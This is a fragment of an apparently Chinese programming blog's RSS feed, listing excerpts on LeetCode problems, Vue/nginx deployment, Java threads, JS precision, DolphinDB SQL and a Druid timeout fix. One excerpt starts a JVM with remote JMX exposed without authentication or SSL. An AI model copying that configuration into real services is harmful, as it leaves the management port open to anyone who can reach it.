      <guid>https://bchobby.github.io/posts/25dbad93ccafdb4690423d4afcd66e26/</guid>
      <description>文章目录 一、题目描述二、解题思路与代码三、注意事项 一、题目描述 给你一个长度为 n 的整数数组 nums 和 一个目标值 target。请你从 nums 中选出三个整数，使它们的和与 target 最接近。&#xA;返回这三个数的和。&#xA;假定每组输入只存在恰好一个解。&#xA;示例 1：&#xA;输入：nums = [-1,2,1,-4], target = 1&#xA;输出：2&#xA;解释：与 target 最接近的和是 2 (-1 + 2 + 1 = 2) 。&#xA;示例 2：&#xA;输入：nums = [0,0,0], target = 1&#xA;输出：0&#xA;提示：&#xA;3 &amp;lt;= nums.length &amp;lt;= 1000&#xA;-1000 &amp;lt;= nums[i] &amp;lt;= 1000&#xA;-104 &amp;lt;= target &amp;lt;= 104&#xA;链接：https://leetcode-cn.com/problems/3sum-closest&#xA;二、解题思路与代码 1.暴力解法是最容易想到的。本题求与目标数最接近的三数之和，利用三重循环即可解题。发现题目数组长度范围为&#xA;3 &amp;lt;= nums.length &amp;lt;= 1000，O(N3)为10^9，超过测评机每秒运行次数，测评机每秒运行次数在10 ^8左右。因此暴力解法不可行。</description>
    </item>
    <item>
      <title>leetcode 20 有效的括号——栈</title>
      <link>https://bchobby.github.io/posts/e8936100f31e0222faed219dfe0ac941/</link>
      <pubDate>Fri, 01 Apr 2022 10:40:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8936100f31e0222faed219dfe0ac941/</guid>
      <description>目录 一、题目描述二、解题思路与代码三、注意事项 一、题目描述 给定一个只包括 ‘(’，’)’，’{’，’}’，’[’，’]’ 的字符串 s ，判断字符串是否有效。&#xA;有效字符串需满足：&#xA;左括号必须用相同类型的右括号闭合。&#xA;左括号必须以正确的顺序闭合。&#xA;示例 1：&#xA;输入：s = “()”&#xA;输出：true&#xA;来源：力扣（LeetCode）&#xA;链接：https://leetcode-cn.com/problems/valid-parentheses&#xA;二、解题思路与代码 这是一道简单题，初看题目想了几种方法：双指针、递归、动态规划，但是都无从下手，最后瞟了眼题解，嘿嘿。思想还是很简单的，用栈先进先出的特性来解题，思路如下： 1.遍历字符串，将所有左括号入栈，遇到右括号时将栈顶元素弹出，判断是否匹配，若不匹配则返回false，匹配则继续遍历。 2.遍历完成后判断栈是否为空，不为空则表明没有完全匹配，返回false。 注意，遍历前可以先将奇数长度的字符串排除。 public boolean isValid(String s) { if (s == null) { return false; } if (s.length() % 2 != 0) { return false; } Deque&amp;lt;Character&amp;gt; stack = new ArrayDeque&amp;lt;&amp;gt;(); for (int i = 0; i &amp;lt; s.length(); i++) { char ch = s.charAt(i); if (ch == &#39;)&#39; || ch == &#39;]&#39; || ch == &#39;}&#39;) { boolean isSame = isTopSame(ch, stack); if (!</description>
    </item>
    <item>
      <title>网页点击怎么直接呼叫，发短信</title>
      <link>https://bchobby.github.io/posts/017f4954a0116c36b67cfc8d7d114f4b/</link>
      <pubDate>Fri, 01 Apr 2022 10:34:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/017f4954a0116c36b67cfc8d7d114f4b/</guid>
      <description>电话号码&#xA;电话号码&#xA;a标签 href=“tel:电话号码” 这样用户点击链接手机端就会弹出呼叫啦&#xA;a标签 href=“sms:电话号码” 这样用户点击链接手机端就会跳转到短信页面，就可以发短信啦</description>
    </item>
    <item>
      <title>手把手教你部署前端项目</title>
      <link>https://bchobby.github.io/posts/f0c26a695e6abf0e1c3007badbb81066/</link>
      <pubDate>Fri, 01 Apr 2022 10:19:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0c26a695e6abf0e1c3007badbb81066/</guid>
      <description>手把手教你部署前端项目 1.1 用Vue-cli构建简易前端项目 1.1.1 安装 Vue CLI 包 打开命令行工具，执行下列命令来安装 Vue CLI 包：&#xA;npm install -g @vue/cli 可以用下面的命令查看是否安装成功：&#xA;vue --version 1.1.2 创建一个项目 新建一个文件夹，命名为simple-website，在simple-website下运行以下命令来创建项目：&#xA;vue create frontend 全部选择默认配置即可，&#xA;这个过程可能需要几分钟，请耐心等待。&#xA;1.1.3 打包项目 在simple-website/frontend目录下执行：&#xA;npm run build 1.2 登录服务器，把打包后的文件放入对应目录 如果没有购买服务器，可以把自己电脑当做服务器，可跳过该小节。&#xA;如果有购买服务器的话，登录服务器：&#xA;ssh -l root xxx.xx.xx.xxx 切换到服务器的home目录下，并新建文件夹simeple-website-frontend：&#xA;cd /home mkdir simple-website-frontend 在本地的simple-website/frontend/dist目录下执行如下命令，把打包生成的文件放入服务器对应目录下：&#xA;scp -r ./* root@120.76.53.100:/home/simple-website-frontend 1.3 服务器端nginx的安装、配置、启动 1.3.1 nginx安装 在服务器端执行：&#xA;sudo su root apt-get install nginx 查看nginx是否安装成功:&#xA;nginx -v 如果安装过程中报错Unable to locate package nginx，先执行sudo apt-get update，再执行sudo apt-get install nginx。</description>
    </item>
    <item>
      <title>黑苹果无网络</title>
      <link>https://bchobby.github.io/posts/32c4cbc709e3c1c6c455b702653d6327/</link>
      <pubDate>Thu, 31 Mar 2022 18:24:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32c4cbc709e3c1c6c455b702653d6327/</guid>
      <description>MSI X570 A Pro主板更新最新bios后怎么就没网络了。怎么安装网络驱动都没用。</description>
    </item>
    <item>
      <title>JavaEE基础 ——— 关于线程的那些事</title>
      <link>https://bchobby.github.io/posts/dbed78b82c0d933c0e291ed5a7e25f1b/</link>
      <pubDate>Thu, 31 Mar 2022 16:31:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dbed78b82c0d933c0e291ed5a7e25f1b/</guid>
      <description>目录&#xA;一、什么是进程&#xA;二、进程的调度&#xA;1.描述一个进程&#xA;2.组织若干个进程&#xA;3.并发和并行&#xA;4.进程的状态&#xA;5.优先级 6.记账信息 7.虚拟地址空间 8.进程之间的通信 三.线程与进程 1. 线程是什么？&#xA;2.线程的作用 3.进程和线程的区别 四.线程的创建 方法一：Thread类继承&#xA;方法二：实现Runnable接口&#xA;其他变形&#xA;变形1：匿名内部类创建Thread子类对象&#xA;变形2：匿名内部类创建Runnable子类对象&#xA;变形3：lambda 表达式创建 Runnable 子类对象&#xA;拓展：多线程的优势&#xA;五.Thread类及其常见方法 常见的构造方法&#xA;常见属性&#xA;启动一个线程 中断一个线程&#xA;等待一个线程 获取当前现象的引用 休眠当前线程 一、什么是进程 每个应用程序运行于现代操作系统之上时，操作系统会提供一种抽象，好像系统上只有这个程序在运行，所有的硬件资源都被这个程序在使用。这种假象是通过抽象了一个进程的概念来完成的，进程可以说是计算机科学中最重要和最成功的概念之一。&#xA;进程是操作系统对一个正在运行的程序的一种抽象，换言之，可以把进程看做程序的一次运行过程；同时，在操作系统内部，进程是操作系统进行资源分配的基本单位。&#xA;二、进程的调度 1.描述一个进程 明确出一个进程上面的一些相关属性。就比如：形容一个学校的学生，你需要学校姓名，班级、专业等。&#xA;2.组织若干个进程 使用一些数据结构（例如链表），把很多描述进程的信息放在一起，方便进行增删改查。&#xA;较为典型的就是使用双向链表来把每个进程的PCB给串起来。因为操作系统的类型的不同，内部实现不尽相同。因此我们以 linux 系统为例进行讨论。linux组织进程的方式就是用双向链表来把每个进程的PCB给串起来。或者说，所谓的“创建进程”，就是先创建出 PCB，然后把 PCB 添加到双向链表中，所谓的“销毁进程”，就是找到链表上的某个PCB，将它从链表上移除。而“查看任务管理器”，就是遍历链表，找到我们想要的那一个PCB后，取出相关资料。&#xA;有了上述这些基础之后，我们就可以来聊一聊进程是怎么调度的了。 打开任务管理器，我们会发现我们的计算机上有许多任务在正在运行，那么我们的CPU又是如何管理运行他们的？&#xA;3.并发和并行 我们首先来明确两个概念：并发和并行&#xA;并发：微观上看，假设现在有ABCD四个任务，而我们的CPU并不是让这四个任务同时运行的，CPU先是运行一会A，再运行一会B再运行一会C.......那么循环运行的同时，CPU又在ABCD四个任务之间切换地非常快，那么我们从宏观的角度去看就好像是让ABCD四个任务在同时运行，这就是并发。&#xA;并发：单个核心 按照串行的方式 执行多个任务，但是只要它切换的足够快，从宏观来看就好像是多个任务在同时执行一样。&#xA;并行：现在有ABCD四个任务，我们的CPU让这四个任务同时运行，这就是并行。&#xA;并行：多个核心执行多个任务&#xA;从我们人的角度其实是区分不了并发和并行的，因此我们在写代码的时候也不去具体区分这两个词。我们平时常说的并发编程就是包含了 “并发” 和 “并行”的统称。&#xA;到这里我们就知道，所谓的进程调度就是让有限的CPU核数，去执行更多的任务。&#xA;4.进程的状态 1、就绪状态&#xA;2、阻塞状态 / 睡眠状态，暂时不去CPU 上调度执行</description>
    </item>
    <item>
      <title>Mac查看Android动态库依赖</title>
      <link>https://bchobby.github.io/posts/3412964d77bb1962f1433ac188ef0791/</link>
      <pubDate>Thu, 31 Mar 2022 16:02:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3412964d77bb1962f1433ac188ef0791/</guid>
      <description>aarch64-linux-android-readelf -d *.so&#xA;该命令位于目录：Users/admin/Library/Android/sdk/ndk/21.3.6528147/toolchains/arm-linux-androideabi-4.9/prebuilt/darwin-x86_64/bin下，可以写到环境变量中</description>
    </item>
    <item>
      <title>软件设计师（王勇老师课程）笔记</title>
      <link>https://bchobby.github.io/posts/1493d50d2e0a4944567f275aea0ef92a/</link>
      <pubDate>Thu, 31 Mar 2022 15:03:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1493d50d2e0a4944567f275aea0ef92a/</guid>
      <description>系列文章目录 这里写目录标题 系列文章目录前言一、计算机组成与体系结构1.数据表示2.体系结构3.层次化存储4.Cache5.校验码1.循环校验码（CRC）2.海明校验码（重点） 二、操作系统原理1.进程的状态2.前趋图3.进程同步与互斥4.PV操作5.死锁问题6.解决死锁-银行家算法7.分区存储组织8.页面置换算法9.位示图10.微内核操作系统 三、数据库系统1.关系代数2.范式3.并发控制4.数据备份5.数据仓库和数据挖掘 四、计算机网络1.DNS协议2.计算机网络的分类-拓扑结构3.网络规划与设计4.子网划分5.特殊含义的IP地址（选择题）6.HTML（出现在选择题）7.IPv68.信息系统安全属性9.网络安全-各个网络层次的安全保障 五、数据结构与算法基础1.数组存储地址计算2.稀疏矩阵3.线性表4.数与二叉树1.二叉树的各种性质2.二叉树遍历3.树转二叉树3.查找（排序）二叉树4.最优二叉树（哈夫曼树）5.构造哈夫曼树6.线索二叉树7.平衡二叉树 8.图1.图的存储-邻接矩阵2.图的存储-邻接表3.图-图的遍历4.图-拓扑排序5.图的最小生成树-普利姆算法5.图的最小生成树-克鲁斯卡尔算法 9.算法的特性10.算法的复杂度11.查找-顺序查找12.查找-二分查找13.排序1.直接插入排序2.希尔排序![在这里插入图片描述](https://img-blog.csdnimg.cn/c1f22b02f76343fd9004e6a35761c70a.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5LiN5Y-X5Luj56CB5o6n5Yi2,size_20,color_FFFFFF,t_70,g_se,x_16)3.直接选择排序4.堆排序5.冒泡排序6.归并排序7.快速排序8.基数排序 14.时间复杂度和空间复杂度 8.程序设计与语言处理程序1.文法**2.有限自动机与正规式1.有限自动机2.正规式3.例题 3.表达式4.传值传址 9.法律法规（3分左右）1.保护权限2.知识产权人确定3.侵权判定（重点）4.标准化基础知识-标准的编号 10.多媒体基础（1-3分）1.音频相关概念2.图像相关概念3.媒体的种类4.多媒体的相关计算1.例题 5.数据压缩 10.软件开发模型1.瀑布模型2.螺旋模型3.V型4.喷泉模型和RAD5.构建组装模型CBSD6.敏捷开发模型7.结构化设计8.软件测试9.Macabe复杂度（必考）9.CMMI10.项目管理 12.面向对象设计1.设计原则![在这里插入图片描述](https://img-blog.csdnimg.cn/1e9f7682aa3742a494e59c6baa609449.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5LiN5Y-X5Luj56CB5o6n5Yi2,size_20,color_FFFFFF,t_70,g_se,x_16)2.UML3.设计模式的分类1.创建型模式2.结构型模式2.行为型模式 13.数据流图（重点，分值15分）1.数字字典2.数据流图平衡原则 14.数据库设计（15分）15.UML1.用例图2.类图3.顺序图4.活动图 16.数据结构与算法应用（下午题，较难）1.分治法2.回溯法3.贪心法4.动态规划法1.文法7.归并排序7.归并排序 13.排序9.位示图9.位示图9.位示图9.位示图 前言 一、计算机组成与体系结构 1.数据表示 R进制转化成十进制：例二进制10100.01=1x24+1x22+1x2^-2&#xA;十进制转化R进制：短除法求余，除数为R&#xA;二进制转八进制与十六进制：每三个二进制为一组计算八进制，每四个二进制为一组计算十进制&#xA;原码：-（2（n-1）-1）~2(n-1)-1&#xA;反码：-（2（n-1）-1）~2(n-1)-1&#xA;补码：-（2（n-1））~2(n-1)-1&#xA;正数：符号位为0；负数：符号位为1；&#xA;转换方法：原码-&amp;gt;反码：符号位不变，其他为取反；&#xA;反码-&amp;gt;补码：在反码基础上加1；&#xA;补码-&amp;gt;移码：正负数都在移码符号位取反；&#xA;2.体系结构 （1）CISC（复杂）和RISC（精简）&#xA;考察方式：选择题&#xA;（2）流水线&#xA;流水线计算公式：1条指令执行时间+（指令条数-1）*流水线周期）&#xA;实践公式：（k+n-1）*△t k:指令分为几个部分（阶段） △t=流水线周期&#xA;图例：（3+100-1）*2=204&#xA;流水线吞吐率TP=指令条数/执行时间&#xA;流水线最大吞吐量TP（max）=1/△t&#xA;加速比=不使用流水线时间/使用流水线时间=500/203&#xA;效率E=n个任务占用的时空区/K个流水段总时空区=t/KT&#xA;3.层次化存储 速度：CPU&amp;gt;Cache&amp;gt;内存&amp;gt;外存&#xA;内存：CPU&amp;lt;Cache&amp;lt;内存&amp;lt;外存&#xA;4.Cache Cache+主存储器平均周期=hxt1+(1-h)xt2（h:cache访问命中率，t1:cache周期时间，t2:主存器周期时间，1-h:未命中率）&#xA;5.校验码 1.循环校验码（CRC） 只可验错不能纠正&#xA;余数为0为正确&#xA;2.海明校验码（重点） **利用多组数位的奇偶性来检错和纠错&#xA;List item **&#xA;（1）确认校验码位数：2^r&amp;gt;=k+r+1(k:信息数位数，r:校验码位数)&#xA;（2）确认校验码位置：2^n&#xA;（3）求出校验码：下面例图&#xA;（4）校验码纠正：按上面步骤重新计算校验码并与收到的校验码进行异或运算；&#xA;出现1的位置为校验码错误位；&#xA;二、操作系统原理 1.进程的状态 2.前趋图 3.</description>
    </item>
    <item>
      <title>计算机二级C语言笔记</title>
      <link>https://bchobby.github.io/posts/9f8177cf33e80f3c9e89d99dc6280660/</link>
      <pubDate>Thu, 31 Mar 2022 14:59:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9f8177cf33e80f3c9e89d99dc6280660/</guid>
      <description>计算机二级C语言笔记 这里写目录标题 计算机二级C语言笔记一、公共基础题1.存储结构2.求结点数性质3.三种遍历方法4.笛卡尔积等运算5.范式6.关系数据模型7.时间复杂度和最坏情况比较次数8.数据库操作系统9.线性结构和非线性结构10.软件工程基础11.软件测试13.关系代数 二、程序基础设计三、C语言基础1.运算符与表达式2.基本语句3.选择结构4.数组5.函数6.指针6.编译预处理和动态存储分配7.结构体与公用体8.结构体传值、传参9.文件 总结 一、公共基础题 1.存储结构 （1）链式存储结构：一组不连续的存储单元存储表中的各个元素，各数据结点是可连续，也可不连续;链表通常有单链表，双链表，循环链表。&#xA;（2）树形存储结构： 所谓树形存储结构，就是数据元素与元素之间存在着一对多关系的数据结构。在树形存储结构中，树的根节点没有前驱结点，其余的每个节点有且只有一个前驱结点，除叶子结点没有后续节点外，其他节点的后续节点可以有一个或者多个。&#xA;（3）图型存储结构： 数据元素与元素之间的关系是任意的，任意两个元素之间均可相关，即每个节点可能有多个前驱结点和多个后继结点，因此图形结构的存储一般是采用链接的方式。图分为有向图和无向图两种结构，如下图&#xA;参考链接&#xA;2.求结点数性质 （1）叶子结点数：结点个数n,总结点数=n+各度的结 点数相加&#xA;（2）数的性质：数的结点数为树中所有结点的度数之和再加1&#xA;（3）二叉树性质：度为0的结点数总是比度为2的结点数多1&#xA;（4）二叉树基本性质：深度为k的二叉树，最多有2^k-1个结点&#xA;（5）完全二叉树：度为1的结点个数为0或1&#xA;（6）满二叉树：深度为k的二叉树，最多有2^k-1&#xA;个结点，第k层的结点数2^（k-1）&#xA;（7）完全二叉树：具有2n个结点的完全二叉树中，叶子节点数为n&#xA;3.三种遍历方法 （1）先(根)序遍历（根左右）&#xA;（2）中(根)序遍历（左根右）&#xA;（3）后(根)序遍历（左右根）&#xA;举个例子：&#xA;先(根)序遍历（根左右）：A B D H E I C F J K G&#xA;中(根)序遍历（左根右） : D H B E I A J F K C G&#xA;后(根)序遍历（左右根） : H D I E B J K F G C A&#xA;4.笛卡尔积等运算 参考链接&#xA;5.范式 第一范式（1NF）：主键不为空且不重复，字段不可再分</description>
    </item>
    <item>
      <title>js加减乘除丢失精度问题及解决方法</title>
      <link>https://bchobby.github.io/posts/fb0de9e80939862f4e967e3a081fd892/</link>
      <pubDate>Thu, 31 Mar 2022 14:50:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb0de9e80939862f4e967e3a081fd892/</guid>
      <description>造成的精度丢失&#xA;在javascript中，带小数的数据运算时总会出现好多位小数.这是因为在javascript中浮点数的计算是以2进制计算的&#xA;/** * 加法运算，避免数据相加小数点后产生多位数和计算精度损失。 * * @param num1加数1 | num2加数2 */ function numAdd(num1, num2) { var baseNum, baseNum1, baseNum2; try { baseNum1 = num1.toString().split(&#34;.&#34;)[1].length; } catch (e) { baseNum1 = 0; } try { baseNum2 = num2.toString().split(&#34;.&#34;)[1].length; } catch (e) { baseNum2 = 0; } baseNum = Math.pow(10, Math.max(baseNum1, baseNum2)); return (num1 * baseNum + num2 * baseNum) / baseNum; }; /** * 加法运算，避免数据相减小数点后产生多位数和计算精度损失。 * * @param num1被减数 | num2减数 */ function numSub(num1, num2) { var baseNum, baseNum1, baseNum2; var precision;// 精度 try { baseNum1 = num1.</description>
    </item>
    <item>
      <title>DolphinDB SQL 案例教程</title>
      <link>https://bchobby.github.io/posts/d39d7c351453d1b5ea8344efc94c997d/</link>
      <pubDate>Thu, 31 Mar 2022 14:36:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d39d7c351453d1b5ea8344efc94c997d/</guid>
      <description>本教程重点介绍了一些常见场景下的SQL编写案例，通过优化前后性能对比或正确编写方法介绍，说明DolphinDB SQL脚本的使用技巧，案例共分四类：条件过滤相关案例、分布式表相关案例、分组计算相关案例及元编程相关案例，具体案例可在下方目录快速浏览。&#xA;目录&#xA;1 测试环境说明&#xA;2 条件过滤相关案例&#xA;2.1 where 条件子句使用 in 关键字&#xA;2.2 分组数据过滤&#xA;2.3 where 条件子句使用逗号或 and&#xA;2.3.1 过滤条件与序列无关&#xA;2.3.2 过滤条件与序列有关&#xA;3 分布式表相关案例&#xA;3.1 分区剪枝&#xA;3.2 GROUP BY并行查询&#xA;3.3 分组查询使用 map 关键字&#xA;4 分组计算相关案例&#xA;4.1 查询最新的 N 条记录&#xA;4.2 计算滑动 VWAP&#xA;4.3 计算累积 VWAP&#xA;4.4 计算 N 股 VWAP&#xA;4.5 分段统计股票价格变化率&#xA;4.6 计算不同连续区间的最值&#xA;4.7 不同聚合方式计算指标&#xA;4.8 计算股票收益波动率&#xA;4.9 计算股票组合的价值&#xA;4.10 根据成交量切分时间窗口&#xA;4.11 股票因子归整&#xA;4.12 根据交易额统计单子类型&#xA;5 元编程相关案例&#xA;5.1 动态生成 SQL 语句案例 1</description>
    </item>
    <item>
      <title>学生管理系统(源码)(C语言版)</title>
      <link>https://bchobby.github.io/posts/7631edde76ca7d79f2d8afa589fea1fa/</link>
      <pubDate>Thu, 31 Mar 2022 13:37:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7631edde76ca7d79f2d8afa589fea1fa/</guid>
      <description>写在前面:CSDN出现了很多需要知识付费的情况,有些东西你抄我我抄你,把别人免费开源的东西照搬拿过来后收费?我不能理解我想抵制这种行为,我想能做点自己能做的事情, 有些东西可以去官方找文档,__官网也有提供下载但就是有不少人要去下载不知道已经第几方来历不明的资源?Why?__知识产权是对的为知识收费没错,有些东西真的称得上知识!!!,但是拿人家免费开源的,然后搬到这里付费我不理解!滑稽…请大伙们多多注意吧,题外话就这么多了.&#xA;注意:没有用到数据库&#xA;使用链表完成此系统!&#xA;多文件实现&#xA;正式开始 --代码都可以直接使用 --不想看的,直接复制代码块里面的内容就行! 我用的visual studio 2019 有些使用了 _s 如果是用别的编译器,可以自行修改! 功能介绍 - 增,删,改,查,退出,保存,以至于格式化! - 1.录入学生信息 - 2.查看录入的学生信息(全部学生信息) - 3.修改已录入的学生信息(以学号) - 4.删除已录入的学生信息(以学号) - 5.保存信息到文件 - 6.指定查找(以学号) - 7.隐藏选项(格式化链表--清空) - &#39;q&#39;退出系统 实现功能 创建源文件main.c 函数部分&#xA;//不一一介绍,不懂得去查就行,要学会Google! #include &#34;myList.h&#34; //引入自己写得一个头文件 //菜单界面 void menu(void);//函数声明,菜单显示函数. //按钮互动 void keydown(struct Node* List); int main(void) { struct Node* List = createrList();//创建一个叫List的链表 readInfoFromFile(List, &#34;student.txt&#34;);//读取在student.txt的文件 然后写入List链表中 while (true) {//一直循环,知道用户不用这个程序后,输入&#39;q&#39; 退出程序! //显示菜单 menu(); //然后读取用户输入的值,进行操作! keydown(List); system(&#34;pause&#34;);//暂停程序用的 system(&#34;cls&#34;);//执行完一次,就清屏一次,看起来比较舒服 } system(&#34;</description>
    </item>
    <item>
      <title>亲测成功：h5实现一键复制到粘贴板 兼容android,ios</title>
      <link>https://bchobby.github.io/posts/a215c303ebcd61554d69fb48cd76fc5e/</link>
      <pubDate>Thu, 31 Mar 2022 11:40:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a215c303ebcd61554d69fb48cd76fc5e/</guid>
      <description>&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width,initial-scale=1,maximum-scale=1&#34;&amp;gt; &amp;lt;title&amp;gt;h5实现一键复制到粘贴板 兼容ios&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;h3&amp;gt;h5实现一键复制到粘贴板 兼容ios&amp;lt;/h3&amp;gt; &amp;lt;button onclick=&#34;copyText(&#39;h5实现一键复制到粘贴板 兼容ios&#39;)&#34;&amp;gt;copy&amp;lt;/button&amp;gt; &amp;lt;script&amp;gt; const copyText = (text) =&amp;gt; { // 数字没有 .length 不能执行selectText 需要转化成字符串 const textString = text.toString(); let input = document.querySelector(&#39;#copy-input&#39;); if (!input) { input = document.createElement(&#39;input&#39;); input.id = &#34;copy-input&#34;; input.readOnly = &#34;readOnly&#34;; // 防止ios聚焦触发键盘事件 input.style.position = &#34;absolute&#34;; input.style.left = &#34;-1000px&#34;; input.style.zIndex = &#34;-1000&#34;; document.body.appendChild(input) } input.value = textString; // ios必须先选中文字且不支持 input.</description>
    </item>
    <item>
      <title>小数精度不对问题</title>
      <link>https://bchobby.github.io/posts/7d97425076a6cf6cdcad10e308795c52/</link>
      <pubDate>Thu, 31 Mar 2022 11:10:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d97425076a6cf6cdcad10e308795c52/</guid>
      <description>问题：214748364.00 + 7.00*0.10 = 214748364.69999999&#xA;atof(214748364.7) 转出来也是214748364.69999999&#xA;解决办法：&#xA;分析：&#xA;double + double 就会有这个问题&#xA;int + double 就没有</description>
    </item>
    <item>
      <title>Druid获取连接超时，导致服务不可用</title>
      <link>https://bchobby.github.io/posts/125d927ba9164f0c4611d55021ef5141/</link>
      <pubDate>Thu, 31 Mar 2022 11:08:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/125d927ba9164f0c4611d55021ef5141/</guid>
      <description>前言 一个微服务模块在运行一段时间之后，整体服务就不可用了，但是服务却没有打印任何错误日志。而对服务进行重启之后，服务就可以暂时提供一段时间服务，过一段时间之后再次不可用。&#xA;分析 服务进行重启就可以正常提供功能，说明是某些资源没有释放。接下来需要确定的是什么资源被占用不能够释放就可以定位到问题并解决了。&#xA;处理过程 1、首先查看服务器的磁盘、cpu占用情况，发现还有很大空闲，因此不是服务器资源不够用的问题；&#xA;2、检查JVM的GC情况，我这里是在对服务重启的命令上添加了远程链接的参数，hostname是服务器的ip，port是向外暴露的一个端口号。然后就可以在本地使用jvisualvm对服务器上的JVM运行情况进行检测了。&#xA;-Djava.rmi.server.hostname=ip -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=9999 -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false 检测过程中，发现GC情况是正常的，在服务即将不可用之前，也没有出现频繁GC或者内存过高甚至内存溢出的问题。&#xA;3、由于短时间之内没有发现问题，且不知道服务什么时候就会失效，只好写了一个定时脚本，检测服务是否可用，不可用时将此刻的内存快照保存下来，以下是检测服务、下载内存快照、重启服务的脚本。&#xA;serverurl=http://ip:port/actuator/health urlstatus=$(curl -s -m 5 -IL $serverurl|grep 200) if [ &#34;$urlstatus&#34; == &#34;&#34; ];then echo &#34;eis服务不可用&#34; ID=`ps -ef | grep eis | grep -v &#34;$0&#34; | grep -v &#34;grep&#34; | awk &#39;{print $2}&#39;` echo $ID /home/tkbo/JDK/jdk1.8.0_301/bin/jmap -dump:format=b,file=/home/tkbo/menhuJar/serviceDump.dat $ID kill -9 $ID echo &#34;已终止eis服务&#34; nohup /home/tkbo/JDK/jdk1.8.0_301/bin/java -Djava.rmi.server.hostname=ip -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=9999 -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false -jar /home/tkbo/menhuJar/ace-eis-manager.jar --eureka.instance.ip-address=ip --eureka.client.serviceUrl.defaultZone=http://ip:8761/eureka/,http://ip:8761/eureka/ --spring.profiles.active=ergo &amp;gt; /home/tkbo/menhuJar/ace-eis-manager.</description>
    </item>
    <item>
      <title>C语言static关键字的作用（有三个作用）</title>
      <link>https://bchobby.github.io/posts/736aa370782691d1fc5d429a344490fd/</link>
      <pubDate>Wed, 30 Mar 2022 23:30:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/736aa370782691d1fc5d429a344490fd/</guid>
      <description>1.具有隐藏的作用&#xA;当同时编译多个文件时，所有未加static前缀的全局变量和函数都具有全局可见性。&#xA;a.c:&#xA;char a = &#39;A&#39;; // global variable void msg() { printf(&#34;Hello\n&#34;); } main.c&#xA;int main( void) { extern char a; // extern variable must be declared before use printf(&#34;%c &#34;, a); ( void)msg(); return 0; } 程序的运行结果是：&#xA;A Hello&#xA;你可能会问：为什么在a.c中定义的全局变量a和函数msg能在main.c中使用？前面说过，所有未加static前缀的全局变量和函数都具有全局可见性，其它的源文件也能访问。此例中，a是全局变量，msg是函数，并且都没有加static前缀，因此对于另外的源文件main.c是可见的。&#xA;如果加了static，就会对其它源文件隐藏。例如在a和msg的定义前加上static，main.c就看不到它们了。利用这一特性可以在不同的文件中定义同名函数和同名变量，而不必担心命名冲突。Static可以用作函数和变量的前缀，对于函数来讲，static的作用仅限于隐藏，而对于变量，static还有下面两个作用。&#xA;2.保持变量内容的持久&#xA;变量不加 static 修饰:&#xA;#include &amp;lt;stdio.h&amp;gt; void test() { int num = 0; num++; printf(&#34;%d &#34;, num); } int main() { int i = 0; for (i = 0; i &amp;lt; 10; i++) { test(); } return 0; } 输出：1 1 1 1 1 1 1 1 1 1 1</description>
    </item>
    <item>
      <title>Hash表的初步认识</title>
      <link>https://bchobby.github.io/posts/66f09aac0201d000ac26d9d20c84d3a4/</link>
      <pubDate>Wed, 30 Mar 2022 19:31:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/66f09aac0201d000ac26d9d20c84d3a4/</guid>
      <description>简介 哈希表(hash table）也叫作散列表,作为数据结构的一种,它的优点在于无论是插入操作还是查找操作,它的时间复杂度是o(1),正是因为这个优点,在海量数据处理的场景都会有它的身影.&#xA;这其中的Hash也就是hash值,主要用于信息安全领域的加密算法,它把一些值转换为杂乱的128编码,这些编码值就叫做Hash值,换个方向去看这个Hash值,Hash就是一种数据与数据地址之间的映射关系.&#xA;对java源代码有一定的理解的同学，HashSet的底层代码原理是HashMap,而HashMap的底层原理就主要就是HashCode了。在HashMap的底层代码里的第一段注释:&#xA;/*&#xA;* Implementation notes.&#xA;*&#xA;* This map usually acts as a binned (bucketed) hash table, but&#xA;* when bins get too large, they are transformed into bins of&#xA;* TreeNodes, each structured similarly to those in&#xA;* java.util.TreeMap. Most methods try to use normal bins, but&#xA;* relay to TreeNode methods when applicable (simply by checking&#xA;* instanceof a node). Bins of TreeNodes may be traversed and</description>
    </item>
    <item>
      <title>vue项目中使用mock模拟后端数据</title>
      <link>https://bchobby.github.io/posts/1be890f0eecb39adc6a0d777b89fbfea/</link>
      <pubDate>Wed, 30 Mar 2022 17:10:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1be890f0eecb39adc6a0d777b89fbfea/</guid>
